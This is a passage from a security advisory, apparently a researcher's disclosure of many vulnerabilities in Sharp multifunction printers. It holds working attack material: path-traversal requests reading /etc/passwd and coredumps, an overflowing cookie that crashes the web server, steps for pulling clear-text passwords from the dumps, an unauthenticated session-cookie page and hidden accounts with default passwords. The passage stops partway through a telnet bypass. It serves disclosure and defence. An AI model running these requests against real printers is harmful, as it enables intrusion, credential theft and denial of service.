/> [ 9914.548702] [BSPIF]bspif_pof_wait:<br /> [ 9988.116784] Panic : Oops Exit !!! [comm:irq/20-serial] [user_mode:0]<br /><br />With the creation of the corresponding coredump files:<br /><br /> sh-4.3# cd /mnt/log && ls -latr<br /> [...]<br /> -rw-r--r-- 1 root root 19133981 May 18 11:48 core-main.log.gz.001<br /> -rw-r--r-- 1 root root 0 May 18 11:48 ERR_IFS.log<br /> -rw-r--r-- 1 root root 19133981 May 18 11:48 ERR_core-main.log.gz<br /> -rw-r--r-- 1 root root 97230 May 18 11:48 ERR_kern.log<br /> -rw-r--r-- 1 root root 0 May 18 11:48 ERR_core-pdl.log.gz<br /> -rw-r--r-- 1 root root 0 May 18 11:48 ERR_log_ui_mainview.log<br /> -rw-r--r-- 1 root root 21262 May 18 11:48 ERR_pdl.log<br /> -rw-r--r-- 1 root root 315 May 18 11:48 ERR_nf.log<br /> -rw-r--r-- 1 root root 314620 May 18 11:48 ERR_main.log<br /> -rw-r--r-- 1 root root 97363 May 18 11:48 kern.log.001<br /> -rw-r--r-- 1 root root 18653 May 18 11:48 vmstat.log.001<br /> -rw-r--r-- 1 root root 377 May 18 11:48 umount.log.001<br /> -rw-r--r-- 1 root root 1861 May 18 11:48 slinkerr1.log<br /> -rw-r--r-- 1 root root 4582 May 18 11:48 slinkerr0.log<br /> -rw-r--r-- 1 root root 45625 May 18 11:48 watch_idle.log<br /> -rw-r--r-- 1 root root 314692 May 18 11:49 main.log<br /> -rw-r--r-- 1 root root 132 May 18 11:49 bsp.log<br /> -rw-r--r-- 1 root root 96435 May 18 11:49 kern.log<br /> -rw-r--r-- 1 root root 407 May 18 11:49 vmstat.log<br /> sh-4.3# date<br /> Thu May 18 11:50:40 UTC 2023<br /> sh-4.3# uptime<br /> 11:51:55 up 3 min, 0 users, load average: 1.36, 0.95, 0.40<br /> sh-4.3#<br /><br /><br /><br />## Details - World-readable coredump files and insecure storage of credentials<br /><br />It was observed that the coredump files located in the Sharp printers<br />have incorrect permissions. Any local user can read them. These<br />coredump files contain all the clear-text credentials of the users.<br /><br />Core files present in /mnt/log:<br /><br /> sh-4.3# ls -la /mnt/log | grep core<br /> -rw-r--r-- 1 root root 16120921 May 11 15:18 ERR_core-main.log.gz<br /> -rw-r--r-- 1 root root 0 May 11 15:18 ERR_core-pdl.log.gz<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz.001<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz.002<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz.001<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz.002<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-bcr_iface.log.gz<br /> -rw-r--r-- 1 root root 0 Jan 1 2000<br />SWOFF_core-bcr_iface.log.gz.001<br /> -rw-r--r-- 1 root root 0 Jan 1 2000<br />SWOFF_core-bcr_iface.log.gz.002<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-main.log.gz<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-main.log.gz.001<br /> ...<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 core-main.log.gz<br /> -rw-r--r-- 1 root root 16120921 May 11 15:18 core-main.log.gz.001<br /> -rw-r--r-- 1 root root 13566117 May 11 15:16 core-main.log.gz.002<br /> -rw-r--r-- 1 root root 17158453 May 11 15:12 core-main.log.gz.003<br /> -rw-r--r-- 1 root root 17332354 May 11 12:32 core-main.log.gz.004<br /> -rw-r--r-- 1 root root 20440117 May 11 12:28 core-main.log.gz.005<br /> -rw-r--r-- 1 root root 22170528 May 10 11:47 core-main.log.gz.006<br /> -rw-r--r-- 1 root root 0 Jan 1 2000 core-main.log.gz.007<br /> ...<br /> sh-4.3# cd /mnt/log && ls -la|grep ERR<br /> -rw-r--r-- 1 root root 0 May 15 14:11 ERR_IFS.log<br /> -rw-r--r-- 1 root root 17316180 May 15 14:11 ERR_core-main.log.gz<br /> -rw-r--r-- 1 root root 0 May 15 14:11 ERR_core-pdl.log.gz<br /> -rw-r--r-- 1 root root 97316 May 15 14:11 ERR_kern.log<br /> -rw-r--r-- 1 root root 0 May 15 14:11 ERR_log_ui_mainview.log<br /> -rw-r--r-- 1 root root 314188 May 15 14:11 ERR_main.log<br /> -rw-r--r-- 1 root root 315 May 15 14:11 ERR_nf.log<br /> -rw-r--r-- 1 root root 21262 May 15 14:11 ERR_pdl.log<br /> sh-4.3#<br /><br />The files are world-readable and contain valid coredump files as shown below:<br /><br /> kali% file core-main.log<br /> core-main.log: ELF 32-bit LSB core file, ARM, version 1 (SYSV),<br />SVR4-style, from '/tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask<br />-nodlychk', real uid: 0, effective uid: 0, real gid: 0, effective<br /><br />The core file contains in clear-text:<br /><br />- - session IDs;<br />- - password for all the users (even when the printer booted and no<br />user logged into the printer (!));<br />- - emails;<br />- - Encryption keys.<br /><br />For example, some keys:<br /><br /> kali% strings core-main.log|grep -A 4 -B 4 ENCRYPT_KEY<br /> CloudPollingConst<br /> VENDOR_KEY<br /> YiqUwHIymoiuwFPjja04u+Q+zeokggNSuYv4g+axNAIx4vwnnrPmfsFrAsqZr4RFeR6EgwWRvzgledwTz9MZAw==<br /> TENANT_ENCRYPT_KEY<br /> GMuQt[REDACTED]<br /><br />The core file contains the password (`PASS-PIERRE`) of the admin user<br />even when the admin user has not been logged-in the printer since the<br />printer booted:<br /><br /> kali% zcat core-main.log.gz.001 | strings | grep PASS-PIERRE<br /> PASS-PIERRE<br /><br />All the clear-text passwords can be found inside the core file:<br /><br /> kali% zcat core-main.log.gz.001 | strings | less<br /> /mnt/std01/ACCBURS/<br /> /mnt/std04/ACC/BROWSER/BROWSER_NONUSR<br /> /mnt/std01/ACC/AccBackUp/BROWSER_NONUSR<br /> /mnt/std01/ACC/AccUserInfo<br /> /mnt/std04/ACC<br /> /mnt/std01/ACC/AccUserInfo2<br /> /mnt/std04/ACC/BROWSER<br /> /mnt/std01/ACC/AccGrpPrmtInfo<br /> /mnt/std01/ACCBURS<br /> /mnt/std01/ACC/AccFlashUserCounter<br /> /mnt/std01/ACC/AccFlashBackUp<br /> /mnt/std01/ACC/AccTotalPix<br /> /mnt/std01/ACC/AccBackUp/JobInfo<br /> Other User<br /> Other<br /> Vender<br /> Vender<br /> Administrator<br /> admin<br /> PASS-PIERRE <------------------- clear-text password for admin<br /> Service<br /> service<br /> service<br /> User<br /> users<br /> users<br /> Vender2<br /> Vender2<br /> FSS User<br /> servicefss<br /> servicefss<br /> System Operator<br /> sysadmin<br /> sysadmin<br /> Device Account<br /> deviceaccount<br /> deviceaccount<br /> /mnt/std01/ACC/AccGrpHomeInfo<br /> /mnt/std01/ACC/AccBackUp<br /> /mnt/std01/ACC<br /> /mnt/std01/ACC/AccUserPixel<br /> /mnt/std01/ACC/BROWSER<br /> /mnt/std01/ACC/AccGrpCstmInfo<br /><br />There is no encryption for the /mnt/log partition:<br /><br /> sh-4.3# df -h /mnt/log<br /> Filesystem Size Used Avail Use% Mounted on<br /> /dev/mmcblk0p3 791M 145M 589M 20% /mnt/log<br /> sh-4.3#<br /><br />All the passwords can be found inside the core file after the printer<br />just booted and no user logged: this is abnormal and shows the<br />authentication mechanism is incorrectly implemented.<br /><br />A local attacker can extract all the passwords.<br /><br />A remote attacker using an additional vulnerability (e.g. Local File<br />Inclusion) can recover all the passwords and compromise the printer<br />(see the next vulns).<br /><br /><br /><br />## Details - Arbitrary Directory Listing without authentication<br /><br />It was observed that Sharp printers are vulnerable to an arbitrary<br />directory listing without authentication. Any attacker can list any<br />directory located in the printer and recover any file.<br /><br />It is possible to list the manual index files by visiting the<br />`/installed_emanual_list.html` without authentication:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />By changing the folder argument in the address, it is possible to<br />browse the entire file systems of the printer.<br /><br />Request to `installed_emanual_list.html?folder=../../../` will list<br />the `/` file system:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />Files located in /etc:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />Using the vulnerability [Local File Inclusion allowing to read any<br />file (e.g. Coredump files), it is then possible to download any file.<br /><br />An attacker can browse the file systems of the printers and download any file.<br /><br />A remote attacker can recover all the passwords by downloading<br />coredump files and compromise the printer.<br /><br /><br /><br />## Details - Local File Inclusion allowing to read any file (e.g.<br />Coredump files) without authentication<br /><br />It was observed that Sharp printers are vulnerable to a local file<br />inclusion without authentication. Any attacker can read any file<br />located in the printer.<br /><br />Normal request to retrieve the manual index files:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />By default, the manual index files are located in /mnt/std_data/manual<br />inside the printer:<br /><br /> sh-4.3# pwd<br /> /mnt/std_data/manual<br /> sh-4.3# ls -la MX-M4071_inch_web.idx<br /> -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M4071_inch_web.idx<br /> sh-4.3# ls -la<br /> total 233<br /> drwxrwxr-x 4 1000 pulse 2536 Jul 31 2020 .<br /> drwxr-xr-x 9 root root 4096 Mar 1 2022 ..<br /> -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_ab_web.idx<br /> -rw-rw-r-- 1 1000 pulse 562 Jul 30 2020 MX-M2651_aus_web.idx<br /> -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_canada_web.idx<br /> -rw-rw-r-- 1 1000 pulse 9590 Jul 30 2020 MX-M2651_europe_web.idx<br /> -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_inch_web.idx<br /> -rw-rw-r-- 1 1000 pulse 562 Jul 30 2020 MX-M2651_uk_web.idx<br /> -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_usa_web.idx<br /> -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M3051_ab_web.idx<br /> -rw-rw-r-- 1 1000 pulse 562 Jul 30 2020 MX-M3051_aus_web.idx<br /> -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M3051_canada_web.idx<br /> -rw-rw-r-- 1 1000 pulse 9590 Jul 30 2020 MX-M3051_europe_web.idx<br /><br />The normal request is:<br /><br /> GET /installed_emanual_down.html?path=/manual/MX-M4071_inch_web.idx<br /> HTTP/1.1<br /> Host: 10.0.0.1<br /> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)<br />Gecko/20100101 Firefox/102.0<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br /> Accept-Language: en-US,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Connection: close<br /> Upgrade-Insecure-Requests: 1<br /><br />The `path=` argument can be manipulated to retrieve any file in the<br />printer. The session cookie is not required as this vulnerability does<br />not require authentication:<br /><br />For example, retrieving /etc/passwd:<br /><br /> GET /installed_emanual_down.html?path=/manual/../../../etc/passwd HTTP/1.1<br /> Host: 10.0.0.1<br /> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)<br />Gecko/20100101 Firefox/102.0<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br /> Accept-Language: en-US,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Connection: close<br /> Upgrade-Insecure-Requests: 1<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />It is possible to generate a coredump file, download it and extract<br />credentials to remotely compromise the printer without credentials<br />using this vulnerability along with the vulnerabilities:<br /><br />- - Invalid (0x000000d0) pointer dereference - Remote DoS without authentication<br />- - Memory corruption in the main program - Remote Code Execution<br />against the web server without authentication<br />- - World-readable coredump files and insecure storage of credentials<br /><br /><br /><br />### Generation of the coredump file on the printer<br /><br />Using the HTTP request:<br /><br /> kali% var=`perl -e "print 'A'x639"`; curl -v -b<br />"MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html<br /> * Trying 10.0.0.1:80...<br /> * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br /> > GET /system.html HTTP/1.1<br /> > Host: 10.0.0.1<br /> > User-Agent: curl/7.88.1<br /> > Accept: */*<br /> > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<br /> ><br /><br /><br /><br />### Local File Inclusion of the coredump file<br /><br />We download the coredump file using the Local File Inclusion:<br /><br /> kali% curl -i -s -k -X $'GET' \<br /> -H $'Host: 10.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux<br />x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept:<br />text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'<br />-H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip,<br />deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \<br /> $'http://10.0.0.1/installed_emanual_down.html?path=/manual/../../../mnt/log/core-main.log.gz.001'<br />> core-main.log.gz.001<br /> kali% ls -la<br /> total 16920<br /> drwx------ 2 user user 4096 May 15 10:13 .<br /> drwx------ 6 user user 4096 May 15 10:13 ..<br /> -rw------- 1 user user 17316455 May 15 10:13 core-main.log.gz.001<br /> kali% head -n 9 core-main.log.gz.001<br /> HTTP/1.1 200 OK<br /> Server: Rapid Logic/1.1<br /> MIME-version: 1.0<br /> Date: Thu Jan 1 00:02:12 1970 GMT<br /> Content-Type: application/octet-stream; name=core-main.log.gz.001<br /> Content-disposition: attachment; filename=core-main.log.gz.001<br /> Content-Length: 17316180<br /> Connection: close<br /><br />We remove the first 9 lines from the core file (corresponding to HTTP<br />headers) to generate a valid gzip file:<br /><br /> kali% vi core-main.log.gz.001<br /> kali% file core-main.log.gz.001<br /> core-main.log.gz.001: gzip compressed data, last modified: Mon May<br />15 14:09:45 2023, from Unix, original size modulo 2^32 176379936 gzip<br />compressed data, reserved method, ASCII, has CRC, has comment,<br />encrypted, from FAT filesystem (MS-DOS, OS/2, NT), original size<br />modulo 2^32 176379936<br /> kali%<br /><br /><br /><br />### Retrieve of credentials using the coredump files<br /><br />The core file contains the password (`PASS-PIERRE`) of the admin user<br />even when the admin user has not been logged-in to the printer since<br />the printer booted:<br /><br />All the passwords can be found inside the core file, located near the<br />`admin` string:<br /><br /> kali% zcat core-main.log.gz.001 | strings | less<br /> /mnt/std01/ACCBURS/<br /> /mnt/std04/ACC/BROWSER/BROWSER_NONUSR<br /> /mnt/std01/ACC/AccBackUp/BROWSER_NONUSR<br /> /mnt/std01/ACC/AccUserInfo<br /> /mnt/std04/ACC<br /> /mnt/std01/ACC/AccUserInfo2<br /> /mnt/std04/ACC/BROWSER<br /> /mnt/std01/ACC/AccGrpPrmtInfo<br /> /mnt/std01/ACCBURS<br /> /mnt/std01/ACC/AccFlashUserCounter<br /> /mnt/std01/ACC/AccFlashBackUp<br /> /mnt/std01/ACC/AccTotalPix<br /> /mnt/std01/ACC/AccBackUp/JobInfo<br /> Other User<br /> Other<br /> Vender<br /> Vender<br /> Administrator<br /> admin<br /> PASS-PIERRE <--------------------- clear-text password for admin<br /> Service<br /> service<br /> service<br /> User<br /> users<br /> users<br /> Vender2<br /> Vender2<br /> FSS User<br /> servicefss<br /> servicefss<br /> System Operator<br /> sysadmin<br /> sysadmin<br /> Device Account<br /> deviceaccount<br /> deviceaccount<br /> /mnt/std01/ACC/AccGrpHomeInfo<br /> /mnt/std01/ACC/AccBackUp<br /> /mnt/std01/ACC<br /> /mnt/std01/ACC/AccUserPixel<br /> /mnt/std01/ACC/BROWSER<br /> /mnt/std01/ACC/AccGrpCstmInfo<br /><br /><br /><br />### Retrieve of credentials using configuration files<br /><br />The configuration files containing the credentials can be found in the<br />/mnt/std04/DBMS/uaccnt.<br /><br />When a password is updated, the files present in<br />`/mnt/std04/DBMS/uaccnt/*` will be updated. It is possible to retrieve<br />some credentials from these files:<br /><br /> sh-4.3# pwd<br /> /mnt/std04/DBMS/uaccnt<br /> sh-4.3# hexdump -C 9.01<br /> 00000000 ff ff ff bf ff ff ff ff ff ff ff ff ff ff ff ff<br />|................|<br /> 00000010 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />|................|<br /> [...]<br /> 00005010 61 64 6d 69 6e 02 00 00 00 00 d0 00 00 64 65 76<br />|admin........dev|<br /> 00005020 69 63 65 61 63 63 6f 75 6e 74 09 00 00 00 00 50<br />|iceaccount.....P|<br /> 00005030 00 00 4f 74 68 65 72 01 00 00 00 00 70 00 00 73<br />|..Other.....p..s|<br /> 00005040 65 72 76 69 63 65 04 00 00 00 07 30 00 00 66 73<br />|ervice.....0..fs|<br /> 00005050 73 07 00 00 00 01 70 00 00 79 73 61 64 6d 69 6e<br />|s.....p..ysadmin|<br /> 00005060 08 00 00 00 00 50 00 00 75 73 65 72 73 05 00 00<br />|.....P..users...|<br /> 00005070 00 00 60 00 00 56 65 6e 64 65 72 03 00 00 00 06<br />|..`..Vender.....|<br /> 00005080 10 00 00 32 06 00 00 00 00 00 00 00 00 00 00 00<br />|...2............|<br /> 00005090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br />|................|<br /> [...]<br /> sh-4.3#<br /><br />An attacker can download these files and analyze them to retrieve the passwords.<br /><br /><br /><br />## Details - Backdoor webpage - Listing of session cookies without<br />authentication<br /><br />It was observed that Sharp printers are vulnerable to a listing of<br />session cookies without authentication. Any attacker can list valid<br />cookies by visiting a backdoor webpage and use them to authenticate to<br />the printers.<br /><br />It is possible to list the `MFPSESSIONID` session cookies by visiting<br />the `/sessionlist.html` webpage without authentication:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />It is also possible to use curl from another machine:<br /><br /> kali% curl -kv http://10.0.0.1/sessionlist.html<br /> [...]<br /> <h2>Session list</h2><br /> <table class="matrix"><br /> <tr><br /> <th>No.</th><br /> <th>User</th><br /> <th>From</th><br /> <th>Last login</th><br /> <th>Last access</th><br /> <th>Language ID</th><br /> <th>Cookie</th><br /> </tr><br /> <tr><br /> <td>0000</td><br /> <td>Administrator</td><br /> <td>10.0.0.10</td><br /> <td>2023/05/16(Tue) 13:35:38</td><br /> <td>2023/05/16(Tue) 13:35:38</clearTOStd><br /> <td>02</td><br /><br /><td>MFPSESSIONID=0200736B459709ABA789505BF27D765756D39B82B7ADE25E302820230516133538428B5C9D</td><br /> </tr><br /> </table><br /> [...]<br /><br /><br />An attacker can retrieve valid session cookies and compromise the printer.<br /><br />Note that a victim user must have been logged inside the printer prior<br />to this attack in order to retrieve the corresponding session cookies.<br /><br /><br /><br />## Details - Configuration webpages reachable without authentication<br /><br />It was observed that some authenticated webpages are reachable without<br />authentication on Sharp printers. Any attacker can modify parameters<br />on these webpages without authentication.<br /><br />A list of webpages supposed to require authentication but reachable<br />without authentication is listed below:<br /><br />- - /address_smime_install.html<br />- - /send_fax_fcode_entry.html<br />- - /send_fax_fcode_entry_relay.html<br />- - /send_fax_fcode.html<br />- - /send_inbound_address_entry.html<br />- - /send_inbound_entry.html<br />- - /send_inbound.html<br />- - /send_receive_fw.html<br />- - /printer_ps.html<br /><br />For example, `/printer_ps.html`:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />An attacker can modify parameters of the printers without authentication.<br /><br />The vendor confirmed this is the attended behavior.<br /><br /><br /><br />## Details - Reboot without authentication - Remote DoS<br /><br />It was observed that a specific webpage is reachable without<br />authentication on Sharp printers. Any attacker can use this webpage to<br />reboot the printer.<br /><br />It is possible to reboot the printer by visiting the<br />/sys_trayentryreboot.html without authentication.<br /><br />When confirming the `Reboot Now` action, the printer will reboot:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />The printer will then reboot and will be unreachable for some minutes:<br /><br /> PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.<br /> ^C<br /> --- 10.0.0.1 ping statistics ---<br /> 5 packets transmitted, 0 received, 100% packet loss, time 4083ms<br /><br />An attacker can DoS the printer by rebooting it indefinitely.<br /><br /><br /><br />## Details - Backdoor access - Service<br /><br />Sharp printers are configured with default credentials. Some accounts<br />are hidden and can be abused by attackers to compromise the printers.<br /><br />When analyzing the configuration of the printers, it appears there are<br />several accounts visible on the web interface:<br /><br />- - `Administrator` (uid 3)<br />- - `System Administrator` (uid 8, as `System Operator`)<br />- - `User` (uid 5)<br />- - `Device Account` (uid 9)<br />- - `Other User` (uid 1)<br /><br />After doing reverse engineering, the default passwords have been obtained:<br /><br />- - System Administrator: sysadmin<br />- - User: users<br />- - Device Account: deviceaccount<br />- - Other User: Other<br /><br />The Service account (corresponding to uid 4) does not appear on the<br />user list, is not documented and allows an attacker to change the<br />configuration of the printers and update the firmware image. The<br />password for Service is `service`.<br /><br />Several webpages can be found corresponding to this service user:<br /><br />- - /devicecloning_pp.html<br />- - /devicecloning.html<br />- - /service_ura_status_page.html<br />- - /service_testpage_ok.html<br />- - /service_testpage.html<br />- - /service_syslog_view.html<br />- - /service_syslog_settings_storage.html<br />- - /service_syslog_settings_server.html<br />- - /service_syslog_setting.html<br />- - /service_syslog_select.html<br />- - /service_syslog_save.html<br />- - /service_syslog_download.html<br />- - /service_softsw.html<br />- - /service_reboot.html<br />- - /serfildata_savepc.html<br />- - /service_account.html<br />- - /service_admin.html<br />- - /service_device_cloning.html<br />- - /service_filingdata.html<br />- - /service_testpage.html<br />- - /service_firm.html<br />- - /service_testpage.html<br />- - /service_font_down.html<br />- - /service_joblog.html<br />- - /service_joblog_list.html<br />- - /service_joblog_download.html<br />- - /service_joblog_select.html<br />- - /service_joblog_list_download.html<br />- - /service_machineid.html<br />- - /service_password.html<br />- - /sys_paperproperty.html<br />- - /sys_paperproperty_entry.html<br /><br />Listing of users:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />The service account can be discovered by visiting the webpage<br />http://[ip]/account_user_entry.html?userid=-4 but the information<br />cannot be edited:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />The `service` account can be used to change the configuration of the<br />printer. The default webpage is http://[ip]/service_testpage.html and<br />provides access to a lot of hidden functionalities:<br /><br />- - Device Cloning<br />- - Update of the firmware image to insert a malicious firmware image<br />- - Export settings<br />- - Configuration of the log server (disabling the logs, erasing the logs, ...)<br /><br />Device cloning:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />Update of the firmware:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />An attacker can use this additional backdoor account to compromise the printers.<br /><br /><br /><br />## Details - Backdoor access - FSS User<br /><br />Sharp printers are configured with default credentials. Some accounts<br />are hidden and can be abused by attackers to compromise the printers.<br /><br />When analyzing the configuration of the printers, it appears there are<br />several accounts visible on the web interface:<br /><br />- - `Administrator` (uid 3)<br />- - `System Administrator` (uid 8, as `System Operator`)<br />- - `User` (uid 5)<br />- - `Device Account` (uid 9)<br />- - `Other User` (uid 1)<br /><br />After doing reverse engineering, the default passwords have been obtained:<br /><br />- - System Administrator: sysadmin<br />- - User: users<br />- - Device Account: deviceaccount<br />- - Other User: Other<br /><br />The FSS User account (corresponding to uid 7) does not appear on the<br />user list, is not documented and allows an attacker to change the<br />configuration of the printers and update the firmware image.<br /><br />The password for FSS User is `servicefss`.<br /><br />The FSS User has also admin privileges.<br /><br />Several webpages can be found corresponding to this service user:<br /><br />- - /fss_default.html<br />- - /fss.html<br />- - /fss_password.html<br />- - /fss_account.html<br />- - /fss_backup_export.html<br />- - /fss_backup.html<br />- - /fss_backup_reboot.html<br /><br />The service account can be discovered by visiting the webpage<br />http://[ip]/account_user_entry.html?userid=-7 but the information<br />cannot be edited:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />The FSS User account can be used to change the configuration of the<br />printer. The default webpage is http://[ip]/fss.html and provides<br />access to hidden functionalities related to the support and a blind<br />SSRF vulnerability:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />Reboot of the printer:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />An attacker can use this additional backdoor account to compromise the printers.<br /><br /><br /><br />## Details - Insecure default credentials<br /><br />Sharp printers are configured with default and insecure credentials.<br /><br />When doing reverse engineering against the `main` binary located<br />inside the Sharp firmware image, we can extract the list of passwords<br />for:<br /><br />- - `Administrator` / `admin`<br />- - `Other User` / `Other`<br />- - `Device Account` / `deviceaccount`<br />- - `FSS User` / `servicefss`<br />- - `Service` / `service`<br />- - `User` / `users`<br />- - `System Operator` / `sysadmin`<br /><br />Listing of username when analyzing main:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />The listing of users can be retrieved from the web interface, using<br />the admin user:<br /><br />- - `Other User` - http://[ip]/account_user_entry.html?userid=-1<br />- - `Vender` - http://[ip]/account_user_entry.html?userid=-2<br />- - `Administrator` - http://[ip]/account_user_entry.html?userid=-3<br />- - `Service` - http://[ip]/account_user_entry.html?userid=-4<br />- - `User` - http://[ip]/account_user_entry.html?userid=-5<br />- - `Vender2` - http://[ip]/account_user_entry.html?userid=-6<br />- - `FSS User` - http://[ip]/account_user_entry.html?userid=-7, with<br />admin privileges<br />- - `System Operator` - http://[ip]/account_user_entry.html?userid=-8<br />- - `Device Account` - http://[ip]/account_user_entry.html?userid=-9,<br />with admin privileges<br /><br />An attacker can use these default accounts to compromise the printers.<br /><br />The vendor confirmed this is the attended behavior.<br /><br /><br /><br />## Details - read admin access on telnet<br /><br />It is possible to bypass the authentication of the telnet server of<br />any Sharp Printer (running any firmware version) by specifying an<br />invalid user.<br /><br />This authentication bypass provides an attacker with a full READ admin<br />access to the printer.<br /><br />Without the corresponding password of the admin user, the access will be denied:<br /><br /> kali% telnet 10.0.0.1<br /> Trying 